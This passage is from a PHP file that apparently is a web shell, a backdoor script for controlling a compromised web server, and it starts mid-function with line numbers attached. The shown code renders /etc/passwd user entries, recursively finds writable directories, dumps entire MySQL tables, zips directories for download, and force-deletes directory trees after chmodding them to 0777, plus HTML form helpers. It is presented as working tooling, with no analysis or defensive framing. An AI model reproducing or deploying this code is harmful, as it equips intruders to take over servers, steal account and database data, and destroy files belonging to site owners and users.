Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3209 }
3210 }
3211 return '';
3212}
3213
3214// Delete dir
3215function deltree($deldir) {
3216 $mydir=@dir($deldir);
3217 while($file=$mydir->read()) {
3218 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3219 @chmod($deldir.'/'.$file,0777);
3220 deltree($deldir.'/'.$file);
3221 }
3222 if (is_file($deldir.'/'.$file)) {
3223 @chmod($deldir.'/'.$file,0777);
3224 @unlink($deldir.'/'.$file);
3225 }
3226 }
3227 $mydir->close();
3228 @chmod($deldir,0777);
3229 return @rmdir($deldir) ? 1 : 0;
3230}
3231
3232// Background
3233function bg() {
3234 global $bgc;
3235 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3236}
3237
3238// Get path
3239function getPath($scriptpath, $nowpath) {
3240 if ($nowpath == '.') {
3241 $nowpath = $scriptpath;
3242 }
3243 $nowpath = str_replace('\\', '/', $nowpath);
3244 $nowpath = str_replace('//', '/', $nowpath);
3245 if (substr($nowpath, -1) != '/') {
3246 $nowpath = $nowpath.'/';
3247 }
3248 return $nowpath;
3249}
3250
3251// Get up path
3252function getUpPath($nowpath) {
3253 $pathdb = explode('/', $nowpath);
3254 $num = count($pathdb);
3255 if ($num > 2) {
3256 unset($pathdb[$num-1],$pathdb[$num-2]);
3257 }
3258 $uppath = implode('/', $pathdb).'/';
3259 $uppath = str_replace('//', '/', $uppath);
3260 return $uppath;
3261}
3262
3263// Config
3264function getcfg($varname) {
3265 $result = get_cfg_var($varname);
3266 if ($result == 0) {
3267 return 'No';
3268 } elseif ($result == 1) {
3269 return 'Yes';
3270 } else {
3271 return $result;
3272 }
3273}
3274
3275// Function name
3276function getfun($funName) {
3277 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3278}
3279
3280function GetList($dir){
3281 global $dirdata,$j,$nowpath;
3282 !$j && $j=1;
3283 if ($dh = opendir($dir)) {
3284 while ($file = readdir($dh)) {
3285 $f=str_replace('//','/',$dir.'/'.$file);
3286 if($file!='.' && $file!='..' && is_dir($f)){
3287 if (is_writable($f)) {
3288 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3289 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3290 $dirdata[$j]['dirchmod']=getChmod($f);
3291 $dirdata[$j]['dirperm']=getPerms($f);
3292 $dirdata[$j]['dirlink']=ue($dir);
3293 $dirdata[$j]['server_link']=$f;
3294 $dirdata[$j]['client_link']=ue($f);
3295 $j++;
3296 }
3297 GetList($f);
3298 }
3299 }
3300 closedir($dh);
3301 clearstatcache();
3302 return $dirdata;
3303 } else {
3304 return array();
3305 }
3306}
3307
3308function qy($sql) {
3309 //echo $sql.'<br>';
3310 $res = $error = '';
3311 if(!$res = @mysql_query($sql)) {
3312 return 0;
3313 } else if(is_resource($res)) {
3314 return 1;
3315 } else {
3316 return 2;
3317 }
3318 return 0;
3319}
3320
3321function q($sql) {
3322 return @mysql_query($sql);
3323}
3324
3325function fr($qy){
3326 mysql_free_result($qy);
3327}
3328
3329function sizecount($size) {
3330 if($size > 1073741824) {
3331 $size = round($size / 1073741824 * 100) / 100 . ' G';
3332 } elseif($size > 1048576) {
3333 $size = round($size / 1048576 * 100) / 100 . ' M';
3334 } elseif($size > 1024) {
3335 $size = round($size / 1024 * 100) / 100 . ' K';
3336 } else {
3337 $size = $size . ' B';
3338 }
3339 return $size;
3340}
3341
3342// Zip
3343class PHPZip{
3344 var $out='';
3345 function PHPZip($dir) {
3346 if (@function_exists('gzcompress')) {
3347 $curdir = getcwd();
3348 if (is_array($dir)) $filelist = $dir;
3349 else{
3350 $filelist=$this -> GetFileList($dir);//File list
3351 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
3352 }
3353 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
3354 else chdir($curdir);
3355 if (count($filelist)>0){
3356 foreach($filelist as $filename){
3357 if (is_file($filename)){
3358 $fd = fopen ($filename, 'r');
3359 $content = @fread ($fd, filesize($filename));
3360 fclose ($fd);
3361 if (is_array($dir)) $filename = basename($filename);
3362 $this -> addFile($content, $filename);
3363 }
3364 }
3365 $this->out = $this -> file();
3366 chdir($curdir);
3367 }
3368 return 1;
3369 }
3370 else return 0;
3371 }
3372
3373 // Show file list
3374 function GetFileList($dir){
3375 static $a;
3376 if (is_dir($dir)) {
3377 if ($dh = opendir($dir)) {
3378 while ($file = readdir($dh)) {
3379 if($file!='.' && $file!='..'){
3380 $f=$dir .'/'. $file;
3381 if(is_dir($f)) $this->GetFileList($f);
3382 $a[]=$f;
3383 }
3384 }
3385 closedir($dh);
3386 }
3387 }
3388 return $a;
3389 }
3390
3391 var $datasec = array();
3392 var $ctrl_dir = array();
3393 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
3394 var $old_offset = 0;
3395
3396 function unix2DosTime($unixtime = 0) {
3397 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
3398 if ($timearray['year'] < 1980) {
3399 $timearray['year'] = 1980;
3400 $timearray['mon'] = 1;
3401 $timearray['mday'] = 1;
3402 $timearray['hours'] = 0;
3403 $timearray['minutes'] = 0;
3404 $timearray['seconds'] = 0;
3405 } // end if
3406 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
3407 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
3408 }
3409
3410 function addFile($data, $name, $time = 0) {
3411 $name = str_replace('\\', '/', $name);
3412
3413 $dtime = dechex($this->unix2DosTime($time));
3414 $hexdtime = '\x' . $dtime[6] . $dtime[7]
3415 . '\x' . $dtime[4] . $dtime[5]
3416 . '\x' . $dtime[2] . $dtime[3]
3417 . '\x' . $dtime[0] . $dtime[1];
3418 eval('$hexdtime = "' . $hexdtime . '";');
3419 $fr = "\x50\x4b\x03\x04";
3420 $fr .= "\x14\x00";
3421 $fr .= "\x00\x00";
3422 $fr .= "\x08\x00";
3423 $fr .= $hexdtime;
3424
3425 $unc_len = strlen($data);
3426 $crc = crc32($data);
3427 $zdata = gzcompress($data);
3428 $c_len = strlen($zdata);
3429 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
3430 $fr .= pack('V', $crc);
3431 $fr .= pack('V', $c_len);
3432 $fr .= pack('V', $unc_len);
3433 $fr .= pack('v', strlen($name));
3434 $fr .= pack('v', 0);
3435 $fr .= $name;
3436 $fr .= $zdata;
3437 $fr .= pack('V', $crc);
3438 $fr .= pack('V', $c_len);
3439 $fr .= pack('V', $unc_len);
3440
3441 $this -> datasec[] = $fr;
3442 $new_offset = strlen(implode('', $this->datasec));
3443
3444 $cdrec = "\x50\x4b\x01\x02";
3445 $cdrec .= "\x00\x00";
3446 $cdrec .= "\x14\x00";
3447 $cdrec .= "\x00\x00";
3448 $cdrec .= "\x08\x00";
3449 $cdrec .= $hexdtime;
3450 $cdrec .= pack('V', $crc);
3451 $cdrec .= pack('V', $c_len);
3452 $cdrec .= pack('V', $unc_len);
3453 $cdrec .= pack('v', strlen($name) );
3454 $cdrec .= pack('v', 0 );
3455 $cdrec .= pack('v', 0 );
3456 $cdrec .= pack('v', 0 );
3457 $cdrec .= pack('v', 0 );
3458 $cdrec .= pack('V', 32 );
3459 $cdrec .= pack('V', $this -> old_offset );
3460 $this -> old_offset = $new_offset;
3461 $cdrec .= $name;
3462
3463 $this -> ctrl_dir[] = $cdrec;
3464 }
3465
3466 function file() {
3467 $data = implode('', $this -> datasec);
3468 $ctrldir = implode('', $this -> ctrl_dir);
3469 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
3470 }
3471}
3472
3473// Dump mysql
3474function sqldumptable($table, $fp=0) {
3475 $tabledump = "DROP TABLE IF EXISTS $table;\n";
3476 $tabledump .= "CREATE TABLE $table (\n";
3477
3478 $firstfield=1;
3479
3480 $fields = q("SHOW FIELDS FROM $table");
3481 while ($field = mysql_fetch_array($fields)) {
3482 if (!$firstfield) {
3483 $tabledump .= ",\n";
3484 } else {
3485 $firstfield=0;
3486 }
3487 $tabledump .= " $field[Field] $field[Type]";
3488 if (!empty($field["Default"])) {
3489 $tabledump .= " DEFAULT '$field[Default]'";
3490 }
3491 if ($field['Null'] != "YES") {
3492 $tabledump .= " NOT NULL";
3493 }
3494 if ($field['Extra'] != "") {
3495 $tabledump .= " $field[Extra]";
3496 }
3497 }
3498 fr($fields);
3499
3500 $keys = q("SHOW KEYS FROM $table");
3501 while ($key = mysql_fetch_array($keys)) {
3502 $kname=$key['Key_name'];
3503 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3504 $kname="UNIQUE|$kname";
3505 }
3506 if(!is_array($index[$kname])) {
3507 $index[$kname] = array();
3508 }
3509 $index[$kname][] = $key['Column_name'];
3510 }
3511 fr($keys);
3512
3513 while(list($kname, $columns) = @each($index)) {
3514 $tabledump .= ",\n";
3515 $colnames=implode($columns,",");
3516
3517 if ($kname == "PRIMARY") {
3518 $tabledump .= " PRIMARY KEY ($colnames)";
3519 } else {
3520 if (substr($kname,0,6) == "UNIQUE") {
3521 $kname=substr($kname,7);
3522 }
3523 $tabledump .= " KEY $kname ($colnames)";
3524 }
3525 }
3526
3527 $tabledump .= "\n);\n\n";
3528 if ($fp) {
3529 fwrite($fp,$tabledump);
3530 } else {
3531 echo $tabledump;
3532 }
3533
3534 $rows = q("SELECT * FROM $table");
3535 $numfields = mysql_num_fields($rows);
3536 while ($row = mysql_fetch_array($rows)) {
3537 $tabledump = "INSERT INTO $table VALUES(";
3538
3539 $fieldcounter=-1;
3540 $firstfield=1;
3541 while (++$fieldcounter<$numfields) {
3542 if (!$firstfield) {
3543 $tabledump.=", ";
3544 } else {
3545 $firstfield=0;
3546 }
3547
3548 if (!isset($row[$fieldcounter])) {
3549 $tabledump .= "NULL";
3550 } else {
3551 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3552 }
3553 }
3554
3555 $tabledump .= ");\n";
3556
3557 if ($fp) {
3558 fwrite($fp,$tabledump);
3559 } else {
3560 echo $tabledump;
3561 }
3562 }
3563 fr($rows);
3564 if ($fp) {
3565 fwrite($fp,"\n");
3566 } else {
3567 echo "\n";
3568 }
3569}
3570
3571function ue($str){
3572 return urlencode($str);
3573}
3574
3575function p($str){
3576 echo $str."\n";
3577}
3578
3579function tbhead() {
3580 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
3581}
3582function tbfoot(){
3583 p('</table>');
3584}
3585
3586function makehide($name,$value=''){
3587 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
3588}
3589
3590function makeinput($arg = array()){
3591 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
3592 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
3593 !$arg['type'] && $arg['type'] = 'text';
3594 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3595 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
3596 if ($arg['newline']) {
3597 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
3598 } else {
3599 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
3600 }
3601}
3602
3603function makeselect($arg = array()){
3604 if ($arg['onchange']) {
3605 $onchange = 'onchange="'.$arg['onchange'].'"';
3606 }
3607 $arg['title'] = $arg['title'] ? $arg['title'] : '';
3608 if ($arg['newline']) p('<p>');
3609 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
3610 if (is_array($arg['option'])) {
3611 foreach ($arg['option'] as $key=>$value) {
3612 if ($arg['selected']==$key) {
3613 p("<option value=\"$key\" selected>$value</option>");
3614 } else {
3615 p("<option value=\"$key\">$value</option>");
3616 }
3617 }
3618 }
3619 p("</select>");
3620 if ($arg['newline']) p('</p>');
3621}
3622function formhead($arg = array()) {
3623 !$arg['method'] && $arg['method'] = 'post';
3624 !$arg['action'] && $arg['action'] = $self;
3625 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
3626 !$arg['name'] && $arg['name'] = 'form1';
3627 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
3628 if ($arg['title']) {
3629 p('<h2>'.$arg['title'].' »</h2>');
3630 }
3631}
3632
3633function maketext($arg = array()){
3634 !$arg['cols'] && $arg['cols'] = 100;
3635 !$arg['rows'] && $arg['rows'] = 25;
3636 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3637 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
3638}
3639
3640function formfooter($name = ''){
3641 !$name && $name = 'submit';
3642 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
3643 p('</form>');
3644}
3645
3646function formfoot(){
3647 p('</form>');
3648}
3649
3650// Exit
3651function pr($a) {
3652 echo '<pre>';
3653 print_r($a);
3654 echo '</pre>';
3655}
3656
3657?>